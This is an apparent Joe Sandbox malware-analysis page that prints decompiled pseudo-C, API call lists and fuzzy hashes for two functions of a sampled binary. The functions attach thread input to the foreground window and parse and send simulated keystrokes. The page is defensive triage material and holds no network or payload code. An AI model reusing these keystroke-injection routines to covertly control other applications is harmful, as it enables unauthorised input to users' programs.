                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: InitVariant$_malloc_wcscpy_wcslen
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 3413494760-0
                                                                                                                                                                            • Opcode ID: ac4bf1e846e0a46c6a3ccadc3e6827a728470bad5e214b5f4b95096cb05d9429
                                                                                                                                                                            • Instruction ID: 77b59fa0745152fd1b6386ccdd9ca850b9b7f4abb66e551d88b584249de3d357
                                                                                                                                                                            • Opcode Fuzzy Hash: ac4bf1e846e0a46c6a3ccadc3e6827a728470bad5e214b5f4b95096cb05d9429
                                                                                                                                                                            • Instruction Fuzzy Hash: F83150B2600746AFC714DF7AC880996FBA8FF88310B44892EE64983641D735F554CBA5
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 004377B4 Relevance: 15.1, APIs: 10, Instructions: 97threadCOMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            C-Code - Quality: 100%
                                                                                                                                                                            			E004377B4(intOrPtr _a4, int _a8, int _a12) {
				long _v4;
				int _t16;
				long _t17;
				long _t19;
				long _t22;
				long _t24;
				intOrPtr _t26;
				long _t29;
				long _t30;
				long _t32;
				struct HWND__* _t34;
				long _t37;
				void* _t52;

				_t34 = _a8;
				if(_t34 != 0) {
					L2:
					_a8 = 0;
					_v4 = 0;
					_t37 = GetCurrentThreadId();
					if(_a12 == 0) {
						if(_t34 != 0) {
							_t17 =  *0x4a9354; // 0x0
							AttachThreadInput(_t37, _t17, 0);
							_t30 =  *0x4a9358; // 0x0
							_t19 =  *0x4a9354; // 0x0
							if(_t30 != _t19) {
								AttachThreadInput(_t30, _t19, 0);
							}
						}
						_t29 =  *0x4a9358; // 0x0
						_t16 = AttachThreadInput(_t37, _t29, 0);
						L18:
						return _t16;
					}
					_t22 = GetWindowThreadProcessId(GetForegroundWindow(), 0);
					 *0x4a9358 = _t22;
					_a12 = AttachThreadInput(_t37, _t22, 1);
					if(_t34 == 0) {
						_t16 = _v4;
					} else {
						_t24 = GetWindowThreadProcessId(_t34,  &_v4);
						_t32 =  *0x4a9358; // 0x0
						 *0x4a9354 = _t24;
						if(_t32 != _t24) {
							_a8 = AttachThreadInput(_t32, _t24, 1);
							_t24 =  *0x4a9354; // 0x0
						}
						_t16 = AttachThreadInput(_t37, _t24, 1);
					}
					if(_a12 != 0 || _a8 != 0 || _t16 != 0) {
						goto L18;
					}
					_t16 =  *0x4a9358; // 0x0
					if(_t37 != _t16) {
						goto L18;
					}
					_t52 = _t16 -  *0x4a9354; // 0x0
					if(_t52 != 0) {
						goto L18;
					}
					 *((intOrPtr*)(_a4 + 0x20)) = 0;
					return _t16;
				} else {
					_t26 = _a4;
					if( *((intOrPtr*)(_t26 + 9)) == 0) {
						return _t26;
					} else {
						goto L2;
					}
				}
			}
















                                                                                                                                                                            0x004377b7
                                                                                                                                                                            0x004377bf
                                                                                                                                                                            0x004377ce
                                                                                                                                                                            0x004377cf
                                                                                                                                                                            0x004377d3
                                                                                                                                                                            0x004377dd
                                                                                                                                                                            0x004377e3
                                                                                                                                                                            0x00437883
                                                                                                                                                                            0x00437885
                                                                                                                                                                            0x0043788d
                                                                                                                                                                            0x0043788f
                                                                                                                                                                            0x00437895
                                                                                                                                                                            0x0043789c
                                                                                                                                                                            0x004378a1
                                                                                                                                                                            0x004378a1
                                                                                                                                                                            0x0043789c
                                                                                                                                                                            0x004378a3
                                                                                                                                                                            0x004378ac
                                                                                                                                                                            0x004378ae
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x004378ae
                                                                                                                                                                            0x004377f8
                                                                                                                                                                            0x00437804
                                                                                                                                                                            0x0043780b
                                                                                                                                                                            0x00437811
                                                                                                                                                                            0x00437841
                                                                                                                                                                            0x00437813
                                                                                                                                                                            0x00437819
                                                                                                                                                                            0x0043781b
                                                                                                                                                                            0x00437821
                                                                                                                                                                            0x00437828
                                                                                                                                                                            0x00437830
                                                                                                                                                                            0x00437834
                                                                                                                                                                            0x00437834
                                                                                                                                                                            0x0043783d
                                                                                                                                                                            0x0043783d
                                                                                                                                                                            0x0043784b
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00437858
                                                                                                                                                                            0x0043785f
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00437861
                                                                                                                                                                            0x00437867
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0043786f
                                                                                                                                                                            0x00437878
                                                                                                                                                                            0x004377c1
                                                                                                                                                                            0x004377c1
                                                                                                                                                                            0x004377c8
                                                                                                                                                                            0x004378b2
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x004377c8

                                                                                                                                                                            APIs
                                                                                                                                                                            • GetCurrentThreadId.KERNEL32 ref: 004377D7
                                                                                                                                                                            • GetForegroundWindow.USER32(00000000,?,?,?,?,0045FDE0,?,?,00000001), ref: 004377EB
                                                                                                                                                                            • GetWindowThreadProcessId.USER32(00000000), ref: 004377F8
                                                                                                                                                                            • AttachThreadInput.USER32(00000000,00000000,00000001,?,?,?,?,0045FDE0,?,?,00000001), ref: 00437809
                                                                                                                                                                            • GetWindowThreadProcessId.USER32(?,00000001), ref: 00437819
                                                                                                                                                                            • AttachThreadInput.USER32(00000000,00000000,00000001,?,?,?,?,0045FDE0,?,?,00000001), ref: 0043782E
                                                                                                                                                                            • AttachThreadInput.USER32(00000000,00000000,00000001,?,?,?,?,0045FDE0,?,?,00000001), ref: 0043783D
                                                                                                                                                                            • AttachThreadInput.USER32(00000000,00000000,00000000,?,?,?,0045FDE0,?,?,00000001), ref: 0043788D
                                                                                                                                                                            • AttachThreadInput.USER32(00000000,00000000,00000000,?,?,?,0045FDE0,?,?,00000001), ref: 004378A1
                                                                                                                                                                            • AttachThreadInput.USER32(00000000,00000000,00000000,?,?,?,0045FDE0,?,?,00000001), ref: 004378AC
                                                                                                                                                                            Memory Dump Source
                                                                                                                                                                            • Source File: 00000001.00000002.553605652.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                                            • Associated: 00000001.00000002.553590811.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554227630.0000000000482000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554322900.0000000000490000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554350803.00000000004A7000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554373718.00000000004AF000.00000040.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554394456.00000000004B4000.00000080.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            • Associated: 00000001.00000002.554404553.00000000004B5000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                                                                            • Snapshot File: hcaresult_1_2_400000_UNK_.jbxd
                                                                                                                                                                            Similarity
                                                                                                                                                                            • API ID: Thread$AttachInput$Window$Process$CurrentForeground
                                                                                                                                                                            • String ID:
                                                                                                                                                                            • API String ID: 2156557900-0
                                                                                                                                                                            • Opcode ID: f5203a8e23f024bead7fa0256802a4b49a7a8dce25e7908e04b44143f6d1477f
                                                                                                                                                                            • Instruction ID: cf5237ead9178137421241ba4763476990ac919c12b5de4495d1c20f4e3090f4
                                                                                                                                                                            • Opcode Fuzzy Hash: f5203a8e23f024bead7fa0256802a4b49a7a8dce25e7908e04b44143f6d1477f
                                                                                                                                                                            • Instruction Fuzzy Hash: B0316FB1504341AFD768EF28DC88A7BB7A9EF9D310F14182EF44197250D7B89C44CB69
                                                                                                                                                                            Uniqueness

                                                                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                                                                            Function 0045F776 Relevance: 14.4, APIs: 5, Strings: 3, Instructions: 446COMMON
                                                                                                                                                                            Download Yara Rule
                                                                                                                                                                            C-Code - Quality: 83%
                                                                                                                                                                            			E0045F776(void* __eflags, void* __fp0) {
				void* __ebx;
				char __edi;
				void* __esi;
				char _t142;
				signed int _t143;
				signed short* _t161;
				char _t167;
				char _t168;
				char _t169;
				char _t170;
				char _t173;
				short* _t178;
				short* _t183;
				signed int _t184;
				intOrPtr _t211;
				void* _t219;
				intOrPtr _t220;
				void* _t221;
				void* _t222;

				_t226 = __fp0;
				_t222 = __eflags;
				_t220 =  *((intOrPtr*)(_t221 + 0x68));
				_t215 =  *((intOrPtr*)(_t221 + 0x70));
				_t184 = 0;
				 *((intOrPtr*)(_t221 + 0x1c)) = 0;
				 *((char*)(_t221 + 0x74)) = 0;
				 *((char*)(_t221 + 0x78)) = 0;
				 *((char*)(_t221 + 0x16)) = 0;
				 *((char*)(_t221 + 0x17)) = 0;
				E00444FC0(_t221 + 0x1c);
				 *((intOrPtr*)(_t221 + 0x14)) = 1;
				E0040C060(_t221 + 0x38, _t222);
				E0040C060(_t221 + 0x28, _t222);
				_t200 = _t221 + 0x3c;
				if(E0045F717(_t222, __fp0, 0x20,  *((intOrPtr*)(_t221 + 0x70)), _t221 + 0x3c, _t221 + 0x18) == 0) {
					goto L22;
				} else {
					_t211 =  *((intOrPtr*)(_t221 + 0x18));
					L2:
					if( *((short*)(E00438A19(_t215, _t211))) == 0x20 ||  *((short*)(E00438A19(_t215, _t211))) == 9) {
						_t211 = _t211 + 1;
						goto L2;
					}
					 *((intOrPtr*)(_t221 + 0x28)) = _t211;
					E0045F717(__eflags, _t226, 0, _t215, _t221 + 0x2c, _t221 + 0x18);
					_t217 =  *((intOrPtr*)(_t221 + 0x28));
					_t167 = E004115D0(_t200,  *((intOrPtr*)(_t221 + 0x28)), L"UP");
					_t221 = _t221 + 8;
					__eflags = _t167;
					if(_t167 != 0) {
						_t168 = E004115D0(_t200, _t217, L"DOWN");
						_t221 = _t221 + 8;
						__eflags = _t168;
						if(_t168 != 0) {
							_t169 = E004115D0(_t200, _t217, L"ON");
							_t221 = _t221 + 8;
							__eflags = _t169;
							if(_t169 != 0) {
								_t170 = E004115D0(_t200, _t217, L"OFF");
								_t221 = _t221 + 8;
								__eflags = _t170;
								if(__eflags != 0) {
									_t218 = _t221 + 0x28;
									__eflags =  *((short*)(E00401BE0(0, _t221 + 0x28, __eflags))) - 0x30;
									if(__eflags != 0) {
										L20:
										_push( *((intOrPtr*)(_t221 + 0x28)));
										_t173 = E00413431();
										_t221 = _t221 + 4;
										 *((intOrPtr*)(_t221 + 0x14)) = _t173;
										__eflags = _t173;
										if(_t173 <= 0) {
											 *((intOrPtr*)(_t221 + 0x14)) = 1;
										}
										goto L22;
									}
									__eflags =  *((short*)(E00401BE0(1, _t218, __eflags))) - 0x78;
									if(__eflags == 0) {
										L16:
										_t219 = _t221 + 0x28;
										E0040C740(2, 0, _t219);
										_push(_t221 + 0x14);
										_push(_t219);
										E004448CA();
										_t178 = E00401BE0(0, _t219, __eflags);
										__eflags =  *_t178 - 0x30;
										if( *_t178 != 0x30) {
											_push( *((intOrPtr*)(_t221 + 0x14)));
											_push(L"%d");
											_push(_t221 + 0x50);
										} else {
											_push( *((intOrPtr*)(_t221 + 0x14)));
											_push(L"0%d");
											_push(_t221 + 0x50);
										}
										E004376F2();
										_t221 = _t221 + 0xc;
										E004021E0(_t221 + 0x2c, _t184, _t221 + 0x48, _t221 + 0x48);
										goto L22;
									}
									_t183 = E00401BE0(1, _t218, __eflags);
									__eflags =  *_t183 - 0x58;
									if( *_t183 != 0x58) {
										goto L20;
									}
									goto L16;
								} else {
									 *((char*)(_t221 + 0x13)) = 1;
									goto L22;
								}
							} else {
								 *((char*)(_t221 + 0x12)) = 1;
								goto L22;
							}
						} else {
							 *((char*)(_t221 + 0x74)) = 1;
							goto L22;
						}
					} else {
						 *((char*)(_t221 + 0x70)) = 1;
						while(1) {
							L22:
							_t142 = E004115D0( *((intOrPtr*)(0x492b10 + _t184 * 4)),  *((intOrPtr*)(0x492b10 + _t184 * 4)),  *((intOrPtr*)(_t221 + 0x38)));
							_t221 = _t221 + 8;
							__eflags = _t142;
							if(_t142 == 0) {
								break;
							}
							_t184 = _t184 + 1;
							__eflags = _t184 - 0x62;
							if(_t184 < 0x62) {
								continue;
							}
							break;
						}
						__eflags = _t184 - 0x62;
						if(__eflags != 0) {
							__eflags =  *((char*)(_t184 + 0x492c98));
							_t44 = _t184 + 0x492d00; // 0x2e08080c
							_t143 =  *_t44 & 0x000000ff;
							if(__eflags != 0) {
								__eflags = _t143 - 0xe;
								if(__eflags > 0) {
									L95:
									E00402620(_t221 + 0x28);
									return E00402620(_t221 + 0x38);
								}
								switch( *((intOrPtr*)(_t143 * 4 +  &M0045FD86))) {
									case 0:
										__eflags =  *((char*)(__ebp + 0x1c));
										if(__eflags == 0) {
											__edx = __esp + 0x20;
											E0044C7A0(__eflags, __esp + 0x20, 0x11) = __esp + 0x1c;
											_push(__esp + 0x1c);
											_push(__ebp);
											 *((char*)(__ebp + 0x1c)) = 1;
											__eax = E0044C522(__fp0);
										}
										goto L95;
									case 1:
										__eflags =  *((char*)(__ebp + 0x1c));
										if(__eflags == 0) {
											goto L95;
										}
										__ecx = __esp + 0x20;
										__eax = E0044C7A0(__eflags, __esp + 0x20, 0x11);
										__edx = __esp + 0x1c;
										 *((char*)(__ebp + 0x1c)) = 0;
										_push(__esp + 0x1c);
										goto L94;
									case 2:
										__eflags =  *((char*)(__ebp + 0x1d));
										if(__eflags == 0) {
											__ecx = __esp + 0x20;
											__eax = E0044C7A0(__eflags, __esp + 0x20, 0x12);
											__edx = __esp + 0x1c;
											_push(__esp + 0x1c);
											_push(__ebp);
											 *((char*)(__ebp + 0x1d)) = 1;
											__eax = E0044C522(__fp0);
										}
										goto L95;
									case 3:
										__eflags =  *((char*)(__ebp + 0x1d));
										if(__eflags == 0) {
											goto L95;
										}
										__esp + 0x20 = E0044C7A0(__eflags, __esp + 0x20, 0x12);
										 *((char*)(__ebp + 0x1d)) = 0;
										goto L93;
									case 4:
										__eflags =  *((char*)(__ebp + 0x1a));
										if(__eflags == 0) {
											__ecx = __esp + 0x20;
											__eax = E0044C7A0(__eflags, __esp + 0x20, 0x10);
											__edx = __esp + 0x1c;
											_push(__esp + 0x1c);
											_push(__ebp);
											 *((char*)(__ebp + 0x1a)) = 1;
											__eax = E0044C522(__fp0);
										}
										goto L95;
									case 5:
										__eflags =  *((char*)(__ebp + 0x1a));
										if(__eflags == 0) {
											goto L95;
										}
										__esp + 0x20 = E0044C7A0(__eflags, __esp + 0x20, 0x10);
										 *((char*)(__ebp + 0x1a)) = 0;
										goto L93;
									case 6:
										__eflags =  *((char*)(__ebp + 0x1e));
										if(__eflags != 0) {
											goto L95;
										}
										__esp + 0x20 = E0044C7A0(__eflags, __esp + 0x20, 0x5b);
										 *((char*)(__ebp + 0x1e)) = 1;
										goto L75;
									case 7:
										__eflags =  *((char*)(__ebp + 0x1e));
										if(__eflags == 0) {
											goto L95;
										}
										__edx = __esp + 0x20;
										__eax = E0044C7A0(__eflags, __esp + 0x20, 0x5b);
										 *((char*)(__ebp + 0x1e)) = 0;
										L78:
										_push(_t221 + 0x1c);
										goto L94;
									case 8:
										__eflags =  *((char*)(__ebp + 0x1f));
										if(__eflags != 0) {
											goto L95;
										}
										__ecx = __esp + 0x20;
										__eax = E0044C7A0(__eflags, __esp + 0x20, 0x5c);
										 *((char*)(__ebp + 0x1f)) = 1;
										L81:
										_push(_t221 + 0x1c);
										_push(_t220);
										E0044C522(_t226);
										goto L95;
									case 9:
										__eflags =  *((char*)(__ebp + 0x1f));
										if(__eflags == 0) {
											goto L95;
										}
										__esp + 0x20 = E0044C7A0(__eflags, __esp + 0x20, 0x5c);
										 *((char*)(__ebp + 0x1f)) = 0;
										goto L93;
									case 0xa:
										__eflags =  *((intOrPtr*)(__ebp + 0x20));
										if(__eflags == 0) {
											__eflags =  *((char*)(__ebp + 0x1d));
											if(__eflags == 0) {
												__esp + 0x20 = E0044C7A0(__eflags, __esp + 0x20, 0x12);
												__ecx = __esp + 0x1c;
												_push(__esp + 0x1c);
												_push(__ebp);
												__eax = E0044C522(__fp0);
											}
											__edi = 0;
											__eflags = 0;
											while(1) {
												__esi = __esp + 0x28;
												__eflags =  *(E00401BE0(__edi, __esi, __eflags));
												if(__eflags == 0) {
													break;
												}
												E00401BE0(__edi, __esi, __eflags) =  *__eax + 0x00000030 & 0x000000ff;
												__ecx = __esp + 0x20;
												__eax = E0044C7A0(__eflags, __esp + 0x20, __eax);
												__edx = __esp + 0x1c;
												__eax = E0044C6FB(__ebp, __esp + 0x1c);
												__edi = __edi + 1;
											}
											__eflags =  *((char*)(__ebp + 0x1d));
											if(__eflags != 0) {
												goto L95;
											}
											__esp + 0x20 = E0044C7A0(__eflags, __esp + 0x20, 0x12);
											goto L93;
										}
										__edx =  *((intOrPtr*)(__esp + 0x14));
										_push(1);
										__eax = E00453E3B(__eflags, __fp0, __ebp, __edx);
										goto L95;
									case 0xb:
										__esp + 0x20 = E0044C7A0(__eflags, __esp + 0x20, 0xd);
										__eflags =  *((char*)(__esp + 0x74));
										 *((char*)(__esp + 0x26)) = 1;
										if( *((char*)(__esp + 0x74)) != 0) {
											L75:
											__ecx = __esp + 0x1c;
											_push(__esp + 0x1c);
											_push(__ebp);
											__eax = E0044C522(__fp0);
											goto L95;
										}
										__eflags =  *((char*)(__esp + 0x70));
										if( *((char*)(__esp + 0x70)) != 0) {
											goto L64;
										}
										goto L46;
									case 0xc:
										E0044C7A0(__eflags, _t221 + 0x20, 0x12);
										__eflags =  *((char*)(_t221 + 0x74));
										if( *((char*)(_t221 + 0x74)) == 0) {
											__eflags =  *((char*)(_t221 + 0x70));
											if( *((char*)(_t221 + 0x70)) == 0) {
												goto L57;
											}
											__eflags =  *((char*)(_t220 + 0x1d));
											if( *((char*)(_t220 + 0x1d)) == 0) {
												goto L95;
											}
											 *((char*)(_t220 + 0x1d)) = 0;
											goto L93;
										}
										__eflags =  *((char*)(_t220 + 0x1d));
										if( *((char*)(_t220 + 0x1d)) == 0) {
											_push(_t221 + 0x1c);
											_push(_t220);
											 *((char*)(_t220 + 0x1d)) = 1;
											E0044C522(_t226);
										}
										goto L95;
									case 0xd:
										__edx = __esp + 0x20;
										__eax = E0044C7A0(__eflags, __esp + 0x20, 0xa0);
										__eflags =  *((char*)(__esp + 0x74));
										if( *((char*)(__esp + 0x74)) == 0) {
											__eflags =  *((char*)(__esp + 0x70));
											if( *((char*)(__esp + 0x70)) == 0) {
												L57:
												E0044C6FB(_t220, _t221 + 0x1c);
												goto L95;
											}
											__eflags =  *((char*)(__ebp + 0x1a));
											if( *((char*)(__ebp + 0x1a)) == 0) {
												goto L95;
											}
											 *((char*)(__ebp + 0x1a)) = 0;
											L93:
											_push(_t221 + 0x1c);
											goto L94;
										}
										__eflags =  *((char*)(__ebp + 0x1a));
										if( *((char*)(__ebp + 0x1a)) == 0) {
											__eax = __esp + 0x1c;
											_push(__esp + 0x1c);
											_push(__ebp);
											 *((char*)(__ebp + 0x1a)) = 1;
											__eax = E0044C522(__fp0);
										}
										goto L95;
									case 0xe:
										__esp + 0x20 = E0044C7A0(__eflags, __esp + 0x20, 0xa1);
										__eflags =  *((char*)(__esp + 0x74));
										if( *((char*)(__esp + 0x74)) == 0) {
											__eflags =  *((char*)(__esp + 0x70));
											if( *((char*)(__esp + 0x70)) == 0) {
												L46:
												__esp + 0x1c = E0044C6FB(__ebp, __esp + 0x1c);
												goto L95;
											}
											__eflags =  *((char*)(__ebp + 0x1b));
											if( *((char*)(__ebp + 0x1b)) == 0) {
												goto L95;
											}
											 *((char*)(__ebp + 0x1b)) = 0;
											L64:
											__edx = __esp + 0x1c;
											_push(__esp + 0x1c);
											L94:
											_push(_t220);
											E0044C379(_t226);
											goto L95;
										}
										__eflags =  *((char*)(__ebp + 0x1b));
										if( *((char*)(__ebp + 0x1b)) == 0) {
											__ecx = __esp + 0x1c;
											_push(__esp + 0x1c);
											_push(__ebp);
											 *((char*)(__ebp + 0x1b)) = 1;
											__eax = E0044C522(__fp0);
										}
										goto L95;
								}
							}
							E0044C7A0(__eflags, _t221 + 0x20, _t143);
							__eflags =  *((char*)(_t221 + 0x74));
							if( *((char*)(_t221 + 0x74)) != 0) {
								goto L81;
							}
							__eflags =  *((char*)(_t221 + 0x70));
							if( *((char*)(_t221 + 0x70)) != 0) {
								goto L78;
							}
							__eflags =  *((char*)(_t221 + 0x12));
							if( *((char*)(_t221 + 0x12)) == 0) {
								__eflags =  *((char*)(_t221 + 0x13));
								if(__eflags == 0) {
									_t53 = _t184 + 0x492d00; // 0x2e08080c
									_push( *((intOrPtr*)(_t221 + 0x14)));
									_push( *_t53 & 0x000000ff);
									_push(_t220);
									E00453DBA(__eflags, _t226);
								} else {
									_t51 = _t184 + 0x492d00; // 0x2e08080c
									E0043797B(_t226, _t220,  *_t51 & 0x000000ff, 0);
								}
							} else {
								_t49 = _t184 + 0x492d00; // 0x2e08080c
								E0043797B(_t226, _t220,  *_t49 & 0x000000ff, 1);
							}
							goto L95;
						}
						_t216 = _t221 + 0x38;
						E0044C718(__eflags, _t221 + 0x20,  *(E00401BE0(0, _t221 + 0x38, __eflags)) & 0x0000ffff);
						__eflags =  *((char*)(_t221 + 0x74));
						if( *((char*)(_t221 + 0x74)) != 0) {
							goto L81;
						}
						__eflags =  *((char*)(_t221 + 0x70));
						if(__eflags != 0) {
							goto L78;
						}
						_t161 = E00401BE0(0, _t216, __eflags);
						_push( *((intOrPtr*)(_t221 + 0x14)));
						E00453E3B(__eflags, _t226, _t220,  *_t161 & 0x0000ffff);
						goto L95;
					}
				}
			}






















                                                                                                                                                                            0x0045f776
                                                                                                                                                                            0x0045f776
                                                                                                                                                                            0x0045f77b
                                                                                                                                                                            0x0045f780
                                                                                                                                                                            0x0045f784
                                                                                                                                                                            0x0045f78c
                                                                                                                                                                            0x0045f790
                                                                                                                                                                            0x0045f794
                                                                                                                                                                            0x0045f798
                                                                                                                                                                            0x0045f79c
                                                                                                                                                                            0x0045f7a0
                                                                                                                                                                            0x0045f7a9
                                                                                                                                                                            0x0045f7b1
                                                                                                                                                                            0x0045f7ba
                                                                                                                                                                            0x0045f7c4
                                                                                                                                                                            0x0045f7d3
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0045f7d9
                                                                                                                                                                            0x0045f7d9
                                                                                                                                                                            0x0045f7dd
                                                                                                                                                                            0x0045f7e8
                                                                                                                                                                            0x0045f7f7
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0045f7f7
                                                                                                                                                                            0x0045f807
                                                                                                                                                                            0x0045f80b
                                                                                                                                                                            0x0045f810
                                                                                                                                                                            0x0045f81a
                                                                                                                                                                            0x0045f81f
                                                                                                                                                                            0x0045f822
                                                                                                                                                                            0x0045f824
                                                                                                                                                                            0x0045f836
                                                                                                                                                                            0x0045f83b
                                                                                                                                                                            0x0045f83e
                                                                                                                                                                            0x0045f840
                                                                                                                                                                            0x0045f852
                                                                                                                                                                            0x0045f857
                                                                                                                                                                            0x0045f85a
                                                                                                                                                                            0x0045f85c
                                                                                                                                                                            0x0045f86e
                                                                                                                                                                            0x0045f873
                                                                                                                                                                            0x0045f876
                                                                                                                                                                            0x0045f878
                                                                                                                                                                            0x0045f886
                                                                                                                                                                            0x0045f88f
                                                                                                                                                                            0x0045f893
                                                                                                                                                                            0x0045f90e
                                                                                                                                                                            0x0045f912
                                                                                                                                                                            0x0045f913
                                                                                                                                                                            0x0045f918
                                                                                                                                                                            0x0045f91b
                                                                                                                                                                            0x0045f91f
                                                                                                                                                                            0x0045f921
                                                                                                                                                                            0x0045f923
                                                                                                                                                                            0x0045f923
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0045f921
                                                                                                                                                                            0x0045f89f
                                                                                                                                                                            0x0045f8a3
                                                                                                                                                                            0x0045f8b0
                                                                                                                                                                            0x0045f8b7
                                                                                                                                                                            0x0045f8bb
                                                                                                                                                                            0x0045f8c4
                                                                                                                                                                            0x0045f8c5
                                                                                                                                                                            0x0045f8c6
                                                                                                                                                                            0x0045f8cb
                                                                                                                                                                            0x0045f8d0
                                                                                                                                                                            0x0045f8d4
                                                                                                                                                                            0x0045f8eb
                                                                                                                                                                            0x0045f8ec
                                                                                                                                                                            0x0045f8f5
                                                                                                                                                                            0x0045f8d6
                                                                                                                                                                            0x0045f8da
                                                                                                                                                                            0x0045f8db
                                                                                                                                                                            0x0045f8e4
                                                                                                                                                                            0x0045f8e4
                                                                                                                                                                            0x0045f8f6
                                                                                                                                                                            0x0045f8fb
                                                                                                                                                                            0x0045f907
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0045f907
                                                                                                                                                                            0x0045f8a5
                                                                                                                                                                            0x0045f8aa
                                                                                                                                                                            0x0045f8ae
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0045f87a
                                                                                                                                                                            0x0045f87a
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0045f87a
                                                                                                                                                                            0x0045f85e
                                                                                                                                                                            0x0045f85e
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0045f85e
                                                                                                                                                                            0x0045f842
                                                                                                                                                                            0x0045f842
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0045f842
                                                                                                                                                                            0x0045f826
                                                                                                                                                                            0x0045f826
                                                                                                                                                                            0x0045f936
                                                                                                                                                                            0x0045f936
                                                                                                                                                                            0x0045f943
                                                                                                                                                                            0x0045f948
                                                                                                                                                                            0x0045f94b
                                                                                                                                                                            0x0045f94d
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0045f94f
                                                                                                                                                                            0x0045f950
                                                                                                                                                                            0x0045f953
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0045f953
                                                                                                                                                                            0x0045f955
                                                                                                                                                                            0x0045f958
                                                                                                                                                                            0x0045f9a2
                                                                                                                                                                            0x0045f9a9
                                                                                                                                                                            0x0045f9a9
                                                                                                                                                                            0x0045f9b0
                                                                                                                                                                            0x0045fa23
                                                                                                                                                                            0x0045fa26
                                                                                                                                                                            0x0045fd68
                                                                                                                                                                            0x0045fd6c
                                                                                                                                                                            0x0045fd81
                                                                                                                                                                            0x0045fd81
                                                                                                                                                                            0x0045fa2c
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0045fc00
                                                                                                                                                                            0x0045fc04
                                                                                                                                                                            0x0045fc0c
                                                                                                                                                                            0x0045fc16
                                                                                                                                                                            0x0045fc1a
                                                                                                                                                                            0x0045fc1b
                                                                                                                                                                            0x0045fc1c
                                                                                                                                                                            0x0045fc20
                                                                                                                                                                            0x0045fc20
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0045fc2a
                                                                                                                                                                            0x0045fc2e
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0045fc36
                                                                                                                                                                            0x0045fc3b
                                                                                                                                                                            0x0045fc40
                                                                                                                                                                            0x0045fc44
                                                                                                                                                                            0x0045fc48
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0045fab9
                                                                                                                                                                            0x0045fabd
                                                                                                                                                                            0x0045fac5
                                                                                                                                                                            0x0045faca
                                                                                                                                                                            0x0045facf
                                                                                                                                                                            0x0045fad3
                                                                                                                                                                            0x0045fad4
                                                                                                                                                                            0x0045fad5
                                                                                                                                                                            0x0045fad9
                                                                                                                                                                            0x0045fad9
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0045fae3
                                                                                                                                                                            0x0045fae7
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0045faf4
                                                                                                                                                                            0x0045faf9
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x00000000
                                                                                                                                                                            0x0045fbb7
                                                                                                                                                                            0x0045fbbb
                                                                                                                                                                            0x0045fbc3
                                                                                                                                                                            0x0045fbc8
                                                                                                                                                                            0x0045fbcd
                                                                                                                                                                            0x0045fbd1
                                                                                                                                                                            0x0045fbd2
                                                                                                                                                                            0x0045fbd3
